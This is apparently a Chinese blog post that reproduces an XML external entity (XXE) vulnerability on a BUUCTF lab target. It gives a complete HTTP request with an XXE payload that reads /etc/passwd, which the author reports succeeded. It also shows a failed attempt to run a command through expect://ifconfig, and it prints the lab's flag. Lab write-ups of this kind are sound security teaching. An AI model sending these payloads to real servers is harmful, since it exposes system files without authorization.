【XXE | BUUCTF】 XML外部实体注入漏洞复现

漏洞简介

XXE(XML External Entity Injection)即 “XML 外部实体注入漏洞”。

攻击者通过向服务器注入指定的 XML 实体内容,从而让服务器按照指定的配置执行,导致问题产生。

服务端接收和解析了来自用户端的 XML 数据,又没有做严格的安全控制,从而导致 XXE 漏洞得以被利用,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。

在复现漏洞之前,需要了解什么是 XML。

XML 简介

可扩展标记语言(Extensible Markup Language,简称:XML)是一种标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。

  • XML 是一种很像 HTML 的标记语言,其设计宗旨是传输数据,而不是显示数据。

  • XML 标签没有被预定义,需要自行定义标签。

  • XML 被设计为具有自我描述性。

  • XML 是 W3C 的推荐标准。

XML 仅用来进行数据的存储传输

有关 XML 的语法和格式,以及 XXE 的更为详细的原理,可以参考以下链接:

🔗参考链接 https://www.runoob.com/xml/xml-syntax.html
https://segmentfault.com/a/1190000021817858

漏洞靶场

BUUCTF 的 Real 分类下,[PHP]XXE 模块。

image

复现过程

首先访问题目给出的地址,发现是一个 phpinfo 界面:

image

经过上一次的解题经历,直觉告诉我 flag 可能就在这里面。

一搜,果然在这里:

image

flag flag{dd0777a3-06d6-4ff9-8b85-8902ab7dc633}

但是这才刚开始,利用 XXE 才是首要目的。

通过 Vulhub 给出的信息:https://github.com/vulhub/vulhub/tree/master/php/php_xxe

我们先对网页进行抓包,然后发送到 Repeater 中:

image

接着将数据包替换为:

POST /simplexml_load_string.php HTTP/1.1
Host: node4.buuoj.cn:27608
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/xml
Content-Length: 161

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

可以看到,响应包中出现了敏感信息:

image

接着,我们通过替换 file:///etc/passwd 部分为 expect://ifconfig,让其执行系统命令:

image

然而并没有成功,失败原因暂且不明。

posted @ 2021-09-21 17:00  --Kisaragi--  阅读(2039)  评论(0编辑  收藏  举报